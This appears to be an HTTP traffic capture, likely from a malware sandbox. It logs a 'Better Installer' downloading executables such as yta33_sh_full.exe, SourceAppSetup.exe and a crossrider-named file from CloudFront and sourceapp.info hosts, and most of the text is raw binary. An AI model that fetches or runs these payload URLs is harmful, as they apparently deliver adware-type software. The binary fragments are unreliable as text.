Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2000000-2249999/7592848
Age: 49299
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 6d2ctpqAMsJhLD1wbXZ_mN-X3rxporP3c9PdG9DBpIy1HP9ts_ZfyQ==
... .J2eE...t^(..{i.L..a....u..Z.4..1.....n..0...G..U....BT.e...y....r
G.........AP3.E..<.:Y....g..U..d..f....O.G?.x...o.x .I...p@%...61.k
\...C}....G.H...."..-..#.3... .... ......5E...N...{....).w......@. ..K
!.0r.'..$..a...=....7.M..u....?4.?vJ...s^..|s|.c#A....G~Jn.."V.L..=.l.
..5..D........HFK[.f3.1F.?F~..T.!.........m.Q.AQ7.&|a:@.~..;.w..\..d.h
.22..7Hv......I....tv..O.....RQT(....~^...H....)... .Qb.(.L-.R.9S\....
......>6%.y....)p.L..3..}}.K........s...ig..-.....v...b....x.Zi....
..bP.....*...9.C.......~.9Fy.........-R. ...ArF......<.A..q..D>.
=.....XX,4.H.{..k.K..~.,Q.E..3....J..!....Y?.uh..i.;AB......v.w-9..B.`
.v.,.....^v......%M..].A....=o.........p..M..............?..0.....g.i 
|....~..fe.@Y..%....}..j.....nO...;B.......ZR.M..p...I....m0.Ato..5...
I....S.Fq..C.@.(...3N..b=*yC.......C'.[.......9.......C.^.UgHc.~..4L% 
...n..1..P*a7.E.`.U4.H.kG]B`.1z.. ..:R.D J.c...d..t......8*91zQ.......
...(.....&r.U.A.!-A.......D.......l..O.....FL.j..v.....Y..W..?~7N...A.
....~..../?.......1._.n.I.......D...*a"..:.M....-*&.|.......4..t.3.M]O
gmw.'.I~jX.$...V....... .M........7...r:...[..Ka..)=..A4......,T...t..
TOm...v.`#.L$.d..pC..3.{...2..y?.Ua.x......r.O..U...J..`.s..}..1..rb..
l...E..>...I....:4.,_.H...$A.8......Vlh.i.P%....e@Z...%,...|.?x.a..
L..[G..e....J....U9.T.E7>...h".{..2..3*J.B.c6,&. .,..*........o..|.
..........~...R...8...........k.f.].I..-vH....5/.MCm.{v...d.]<.Y...
..5..g....a4.......^.\.. jy.;\).C$a.v..U.m.. ..I|..<.3..j...b...:!.
../..J.....B ..Xj.J5...Sn6M.g[D:..L....9.....nD.z._d..IG-..,$Z....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2500000-2749999/7592848
Age: 49299
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8iQ-IAzd3WPYtykFfcorI1mriHondJvmk8X6juah1blBNYucTdZmZg==
....jh ..M.....I.. x.....;bjX.;l....%..(w..>"V......^.....l.^...r..
. (c.n..dI.R#...o......m.,G.......(.Y/.H...l.........:=...YZ.>U.6..
.. .$<.......9.U...... r..Mi..=...}..=3.........t.uO.&u.4?.....^x38
..6.{.....a .6.K..e...8.'..rT`J. ...`.....#,YU..C.et...R...$q,.`AB.d.]
.=].u...z....../.9.v..2........[`./..~..:6G9.9..yE.S........6...O....H
m..l...i.=nI;).;....]..........5E..5......W.rTN.?.{X4.#.(...4p.J'....q
.|5IX..g{2..........w.!.Z......'*{....<..!......5 ..?D.....&&.!4..!
x....r..}..5..|...........'..................d..........sg...4.x...i..
j.......BzJ...Y.|Aow.x.(.;g.|p...b..!.2.%k..b.V.(.B......:..kD.../..5q
...d.p.3v.A{....ty.B[;Cr.....}Y.a.x_ ..5...~...O.3.f..".~ ....m0..)..i
......![.bT..n.P.n>i)]X..cW}K.....vB.0.L.2.cGv..S.._K|~..._YSF\CX"I
........!...:.$.......A...f.%.E...`|.E.9..P...].F..r.... <[email protected]..
...n.....1.0......>. .e.fl..|.k..3_8V..a.."{IxV..7.g ...p>.Lg...
...od..2......^.;..9B...q......e3..Y.....I."...h.*,Y( ...x%&XU..... t.
...P @7f.%LN...RuN............w..^...a..r....34g....R.0.=..`.....d..L.
..........=..Q.<.....P.X..6fH ........;.....)........i..~.{......O&
gt;.Y....r...K..{P....{..M...W..\....b..>..%. ..\....R..b.6...U...c
..p.I.....2.........._*..2..*z..>y.3.Y8l....&{...D....ms~.p......./
.Ey......x.f6.. I.f...K.H.._D..g(.1~..5..8}uQ..D1[R..r\.9u8Ns.Z[.k...;
G*3........&......s(x.6n>..q...1.q{.jp..}....)._s.^...fp.i.PRS..N..
U,..@{N!....:..7 ..=......O..E..2 .4.?$.....?...B..P.a.-2.....t\5B .}.
...x..uK.1i.b....F...;...B.Y..-...m.....[..A$.#....T...<...d[..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 3000000-3249999/7592848
Age: 49300
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: G0nmLwHLa3CbMwbK0z4sUZVEj6KqkWWnmaNy_7lUCFPSCPHVNgdMOw==
"..k...L.,..n........mza...G.v~.(.M..C....Z..hi....N*......d.....3.C..
...Y\y'3...k].....o3.....,;...g....\......M..}...~x.....gT.5c.G....c.j
.x...2.....ug.......kF...3.M.v....s...q....50.._.M.F..R.n...../...\d~.
....V0..l]}.[P...v)F....I...... l...."....m..G...X`o.......K....@T}w..
...4-....../.|..7.....4m.....B...V..A.Q..........q.2YW.5.....^k..Pt...
YZ'..0r4i.m.J,.9.<<.i.....l.N;.]m...cX....Z...].97 ..X>.<.
......D.#>............_...,....f.....u.......!k....T...v..G..2...j.
x.. .c........?3..0~...(........W...}?....2....gL[..>ti0f.u.......D
..[.X4.<8.O....0.$}..S.i..........qI.~...a.T7\A.b%.tc..7.sk..K[g...
A.-w......ae..W.u..V...44J.Z....7}o..9.....{.u;:....4c...t.X..z.../..$
y.89@Ss ...iQ.C.>L...q..hV.....M{...o...>...t..o.iLtL.LiY..:6I.a
. {.^[email protected]....<O.........l....&..........f= A....".. 3w....emM
....PZ.S~E.....(.*..."...B...y... . [email protected]?.gA...) }..547...s.$.
..z...].....@"|2...7..U.....t..N.*.c...C..J....)G3..l....{@.6s......D3
[.jC.w.W.o...q_..a..#......?..M./.6....)GW....F......}...y..4.T.?q!..6
.Ay....?.........j\..|.:']5:5.A.'A&..OA..A..*...8..b......w...A2..7.13
9/v=x .yc<..y.y.L."P.,D..._..n...........#;A.>MJ.U]Y.T.. ......;
x.}......r........T.....j.f...X(u........EO..H5.....n=X.$w....f.T..T'.
*3.J1.e>.w<~M..}..x..<....n./.T....."..3...9.....t...<-m..
|D.f....a. .g..a.'P.....;..........8...}...#..>[email protected].&
lt;../h....h}.(.r..gE%6...G..6..H......u.Y>.8g...g..@L....".-^.v...
.;.0~.........Vu...........3..y{.>..CQB;.....y.-.`....z..wd..4Y
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 3500000-3749999/7592848
Age: 49300
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: pfI8WNivwmRL8cIi4RoWL25UW3Ph2dUDqwvJ1v096Ni4f8TuGL6PMw==
.....>F.o..]..........w.Q.._.....f.._.C.......o..T.-..{z..Ov....2..
*j..N.....a.....F....&.\.I.......'.....&..S?.......L6.......p.....]P..
.d..i...,n4o..........'..Ol0....v..kS.b....g.kS6...{.G...*....N.z0.G.3
...F.Uj......W....w...0(W......f.........W1.)...; .....Cv..v.{...}....
c$;.:.{....#w(.Tq.......%k..e ..oDt.h.............5..........d.usD....
...?u...#~.P.......,b.~.n..s.:..m..V.2'.0....8d.ll..0.k:b.......,....Q
.>..@~....n.....".(.|X...=?.W.......C4.o`/.....dm..P.D......n....U.
.&#.W...rQ.......c...7.g ... ..^.. ..T...a,..../Vv4...).....\%..:.W...
../Q.Q=..p.-a....-.........8.>..U...O.2.....t].......*...;.....%...
^)...r.G..>V.(. .E...(._...../.IWW. y...f.E....p......B#.#..F#.....
@.w.?...Y.....J[^wnN.wn.z&....}.w.j2}..ll..4i.=5.P1.{zrK._T...e.......
......U.T.)...............k.....M[.o&..|L[....Oa ..p..&-....sk.k...Xa.
.-\..5..'...Q?j........n...2... T.h. ...&...q..!.....f..\i. O.`..\.TQO
..Mhv)....p......^..... ......i....2...!..;)>.7.U..7.3m.?.......y(.
.-q.......G....^3.'...G...O,,.......C\.....M....mb...l......I*.E....(.
..}...Ko5.,:&M...Wc.1.....M......bH.%[email protected]"i.t.r..O^uJ..8MIJ. K.
bwK.....\c. ..)...I..s....s.......@ S.....KE........Y.5.b ...aI...[*h=
U.u..D.....2.ie...|..v.....7..\..jRCgJIB!..C.o&S.R.%..E.rE.....=...N..
R.@.........!........EU.  ..1......}...R.<.....B*..d....R'k........
2..9...N.:.Z..f9....Nro4.w..\[email protected].....#N....c
..3.U..X..Su.][email protected]~.....UE....X..].q.Cwi..X.......
... ......}......2/[../..gz..n.=Q..E.I..d..2...l...>b.NoF..L.P.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 4000000-4249999/7592848
Age: 49301
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8V5f2c9AWFYhr4H-NARgPpezbUDHr0X0ATZAiY1h_jBATfRSdldwTA==
..9....M.......e*(...k.. S.....h;.>.o.e,/..,.*.....&. ,9..t...q..2.
/.\. ........}V.&.o`..T.....0.}.qFx.........eN..\][email protected].\H9.I.0.k
.G.b.%.T.e..e......`3(u.T.X..~^GY.:^.:^,Q...b.R..........V......_>.
.....J[aF!...V.A..*]a..W.t.e.Mh.s'_...*.H.Y.NX.'..,.S..e.Bx........Lup
..75..P.<.O....{.r...f|WA.G..X.n55.....b.....f.?,..L...pu.....C|.y.
..v.....x.Hv`#.6.qW...6."SU.....T...U..U=O..z5..J........N....A....jJ.
f..9F..?............."q....l....5.|!3.kx|C..;!e... ...w>.....|...t.
..6...X.fF....m....................*.z...H.K).M.c...-M...E. *h...LNN.-
cQ..R..V.(..4 7..j.i.KZ..u.I...2...{..>g.L...}..'.39g...^{....^...~
K..\...C.G1...)!y0.....Xl8,.qf.8...(......x.4`.d.....y0..`2g....y...[.
@s..F.....\.x._.QXn....a....-..k .-......y........C..w....V..*.....y..
..t....yf...-F........3X.w....&.P. Q1..ZA.yP...)..s5._.S..|..2.y~s..2.
[email protected].>p.Z..h...)W.......K.x7.D....g.A.... G9..
.N.x..*...Mp..Nn.....]2.<.... ..,[email protected].}.
e....c...".i...c..S~Q.....1...0bdP..] ...0.; ..\..g.BN.....|W.s.> (
L..b..5.|-b...<.[.".kE..............F.....O.Yu.n.|....8-.b._7i...d2
...........;L............y.V....qs6A3.F.....sZ .I....G9mF...2.)...>
Z~uJ.M.x*&..=..FdH..(....5.D..1z$W^....f.3.....80?..3.#.T.8.sp...<w
...3....1.Qq..........df.......O..@}p..$...F.....1;{^"[email protected].
...A.N.jU.ay.M....6%T...oS25.'.iW.%o^...../%4.....2....h*...=..PI2....
$...H4..y.a.7X.B.).f..,...........V.O..|.y..o.wF. |0..j..O..".9..D.'.K
[email protected]=].,_.S/g.C.?b..v.x.V^.D......&...du..E.H. ....'...gH&.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive



...[...H^U..KT..;....M.a.y... ...n.}...#..u9...E.,b.I..E._..2.....~..^
.......x......`V7".|q.....ch.<.K.o;...o.o.........K5....6...huoe...
t....][email protected]...>.(.[....0(&.N.^..J.G.........`y...!.TM
S......}.<z.:H.Z&...].y.......qt...(g...........e#O.5..c&..52-.....
..g.,..F...(......hy.jI..l.y..._.T..[v.....r........(..F93t.......:{|.
.sC..}c,..\.3...nK.U.;...!s...LNes..J..7..P.../...x..GZn..2..3Bh....1.
...S.dQ.^..........m3..o.kPQ#..E?..E..m./.........Fg.=o.#.U...j.s6).].
...P..g... .........7J.?. ....a.^...;1....4.*.._.J..*y{(...[.n...D...E
.umtt..O.^......GE.K~.o......)y.A!.{./`. ..~..F'.2....!t....M..:..$. ^
.q...G.3b....o...[..{.....N.<.[.=.%H.l....].*.............w...zq.gx
....W.?"...hE5"......u.... ..............&I6...|..X......U............
$..s.x&N.T..WB<....y.w..uh.9.u...7...3.496....^..w.)~..Sy...!.L.V..
..Ydl.i..x.kN=.UH....&.....a.3..GD.....>c1..pE.../9Y1?.qe...~..{.If
~z..A.->......'dV.k*.Z..m.0..n..~.D9......%.....QJ.).K...B. Ub..BT.
.A...PE.\......Le.Ab.5...f..I.Ec~./. oa.1Q.......r..S$.H....){...>.
..(s/......;[email protected]/.g...wKqIF@.....\...zVG
...}..*D...H..H(.....c.V!.j....#....`.a~.K.~`...%.{.IA0...:.C..G;%g3..
))Gnp.......Z..U.w.0|..,k  ..c...00P.o.K.a..9.........w. ....".xNN.]..
....b.F..L..(......sqmy.....K.#.4c.J]..O.?*]."s..VP...7.&.?6.}.,3...=J
.D.S\...'..k.kf.......S,...}[email protected]...._......\x.7.f..9.w.
.l.R./.-.q...2.2.M.?.k"..Z.h9.3./..K......xG.....a.}= .v.)...].K.T..g.
J..)Z.:ZSjP>..hkY...N.%kS.n...I.Hj....F9...g^....!........I>
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 6500000-6749999/7592848
Age: 49302
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5JCyczMCtXoQTwiv3Hpi0zpv0M0v2Z5V6B8oOujEOe8Pr1xLkasy2g==
......9.#....E.........oE.J).w.R#...D.....n~..>2.\Xl....5"Z.@.)%x c
.O!..!....:j....M5J(3........N._..FJ.....@. .A.Q..T.k.......lB..jv.Ar.
.....4..3R.....r.Dj,..N......>.!.......`L..uz..IQ...>..f9...y$..
......vye..k.)......?@..^%.f./bO.....J.h$._s..W....9..lTb).7.r....pFP.
...Q..d...(5.$G..l.:.(cR.^.-./..G^>....'..Z..I.})..o..~.w.Qkv..'.q.
b...{./....?g.....-......a.E........W......Y...........@...^.,.oeuh}..
...~..ja;.e.U......Z.7.g....Jp...Y.....f.3.f....R..,..{.}:.....L...yy.
Z...7.-...6.....h.z......P.......B...f.U.T.U_r9..ev...`....D.[[y..6.e.
......H."........R.....3....r.K.....c..b..8i...Tj.&.RX~..PH....^......
 s.0.(....IA...~0t7......B{..^..g...Y...*..)>...|..=Aw\.P..xc.p.!.=
...UT...C.A.....5.1... .....*....r.......K..\.R.D........1..&{.C..V..v
...v.7.F....wt.K..h7..WD....8q.>..(..q.........%.....0y...x,.a=5..I
?....SX.L{J.=#[email protected]=.R.f.1=..Wa.....3Y.}.T:...]/...
(QcY...y..k'[email protected]...!..`L..........i.....\J|.s..."V...<.._&l
t;...d.)wl9>l-<J......|v....5o.....@.$..P".1.>.Y...G:.*.`Md..
2...!6.....o....~...6].A....4.[../]..@'...=H.....Q|...Ai.c=UAW _'..6..
..l(./...4....n_..zNz.q...8M....z-r.....<.'?....&..H..h.{.._.......
..}.....=o.i....H.;.)..p<.8.H.Z...Awi.....V...ED...u....f....6..Bq.
..5..'..U..2.:..........:.L;...VE....*.......LB...whyqN./K.D . .H..ZH.
5.../Y.'.S5%*...C...J..#[email protected]@.sM5rYy......fh......d......W
.. ...,......1L.)..D&.kA.]..BW.J.V.....?.Mo*.H... ..z......W.....]..e.
.9Qx...0lY.!.n..B....'V..Hv.:.e.5z..B.....fN*!..z*..$.Sl.....\....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 7000000-7249999/7592848
Age: 49302
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: gP-i5de5buOT3a0q3EE146MaiDeiJR8vGY1JleolKYtGz6mY0-lGaA==
..2..1.u..[....U....se..... v......fLN=O}{.>.)..i.|S.'...Ou}k..pY.y
...4.\: .u..[x.@j....,'.S...xX6..<*.......=......u.J=4 .(.:..2Fg.u.
.S .Im..eRm...HQ:E..f#.....!c.^.>`.S).QL8...wb6l....II2.."[email protected]=.
$..%.........*..T..Z...n...s-.F!.F.!.Y..f...J2..gK.t...#.."[email protected]
..'..Z^#9@`O.P.{....y.j#"M.]..-.. ..D....(..Y<.......^..!......^5..
b7J.........-..?....gQ.`.....3......z.`...y~.....-j.....sL."k.....!s..
w......M.q......o..t..0....)!.\.P.d...|`.l.?..U8R[.,%...A..Qo......f..
..\..o./.f..;....x....q.g.../.......*.F. .=.'....(..~.......{/..5.(..|
_\[.r....t.S..e.....;j(.QW....7\.. ...V.....'O....{.p.N....%.;.....#..
..E.B..j<MOj.*C...K.:M]=".b..c5.l......~..r.k..5.*..g.....Oq.......
...-.rqP..N...(....Kb...kKi.H`.aU..w.bz...S.......N..0A.....?.H,.W....
.ou@."....8..Gk6....NEy*.......D.A.....?.."...l.....'.....I2.Bs.H.5...
<2...T.....M...9.. .......eJ..pgzg...WU...0Z..i`5..{(..<........
Bu.G...V...W#-r.T...p)U......V.s}Q.4...%.X).iO...H.......Y....O..p..,.
._..?n'1..v. ..WW. .vJ..v1.E.....V....c..Oi.AJ...d.....f0!.....Cb.Z...
B.|.2...\.K.&[./._N......<>.kl..z.._.B..Y.!;. .Q..T...N.........
....H....N.Jd...<R>.....?JT... .>j..xz....lG&.d....j..aR...!.
.D.11..-v.;..l...6....t...fI..I4i|...7Y$...:h.....>1.,DFn#.j.....10
..5W.?..7..(....mZm>..5P..98.K..R&.!.J..6..{..I4...`o..8....a...fi.
......o/.d...._s&..3K.......F.....d.O...r.2....v..*..}....wK.8...k..Z\
...-.Yv..VU........p....|\...]#...X.DG..% .4......D,Q.....:(1.. 7x..*.
...hG['.i.....~...N..$.p..D..VZ......z._.....~.1'[email protected].=
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=7500000-7592847
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 92848
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 7500000-7592847/7592848
Age: 49303
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DoxSdl8Za4fF3yPzajxZF2HzmnqhxKq2YTyMo4y20UajyzUmSBLS2Q==
1."x..s..../o. fq..A..d<lZh.._...7.4..._.9..W.XX=.v.I.O............
.%.....5.....q\....L......6...8.....Y..5.:.6A...[./[._...{>.4...$..
;.3J...7_........?<2.N...{...}>......=..Ye...H..'...........\.N.
...2|...;.9.j....S..M..;..N.7;.H.1...w.......=6.........=C...5.~.~..\.
........=.}....7.._c...4x{e.<..R..V..]....*<1.......|.]].8......
.....7..u.....k...w.k;qLt..9"..^A..Q.&.W#......G../...8o.6.8..d.pH.. r
([email protected]. /... ....U.9.....!S........9:.9.[.v."x.BTT...4.).D....B..
.....C(.t&..../.b...#J.&|a%.cjg.T.....-Ea ,".....9......4..juDE./..3.3
8&...f..P..1...Q..E....gsL(..l.V...3LN.!..E..0..z.rf..b}kAy...-ghs....
]..%,..c.. ..V......3.: ........vv,.k<.)..E..FcQ)[email protected]
...b(......[s.ov .S....&.#a.7..Y:...._Ra.......D.......E...c.....~[...
!..K....4.D..^;.....]T|.)Fce...1w..k. .t..Uo ..w........3w..a.7.5....s
..H.......rL.&.]......z..l...6....f........u.mV...f!Y.....U}L2Ym:.~a..
.v.....(..y}...^j.....U.......h-P...:.kv.57c...X..l......e.....g..NS..
..`...P_.;o.. ...s..H.Q.....(.k.K.m.m.t.....t.....V@.\.k\.z..|.^b.....
,...b8.".(~..V^M].O.)....X..**.....Vs.M.3.vu...l][email protected]....~.....!.
...U....!.0.._...tT.....8..3...vvu.jfl..j.....z..G....J..u..R.....l(..
`.a..>.. ... g.1...gt.*..*.....s....\....:.:.*m.fu..'..... .q.^3...
[email protected]..&E8-...8.'.... ]u..p..5o1w5........z2(h-0..p6..{s.[h..
.c}....~. Ii.oJ.......Q.......x..|!.;..c.DwhcQ`l..H.u..6.M.T.wl..t,..X
.][email protected].#...n.y.h6..2Rm4k.?uF#u%N..Y.."G......
8...D19...Q.fy..U.....sq........._P.....A..8.}j...x;...4..%..8.G1 
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f2d0af29e9299eab HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT
If-None-Match: "0b2464b1797cf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT
ETag: "0b2464b1797cf1:0"
Cache-Control: max-age=86400
Date: Thu, 12 Feb 2015 05:33:58 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Thu, 12 Feb 2015 05:33:58 GMT..Conn
ection: keep-alive..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71390-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 214168
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71390-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: dfT76lVQJ_QTyVpPcKUhbCrCAKT-Zv49gt3v2EGEKGqkkWznrhhFtw==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
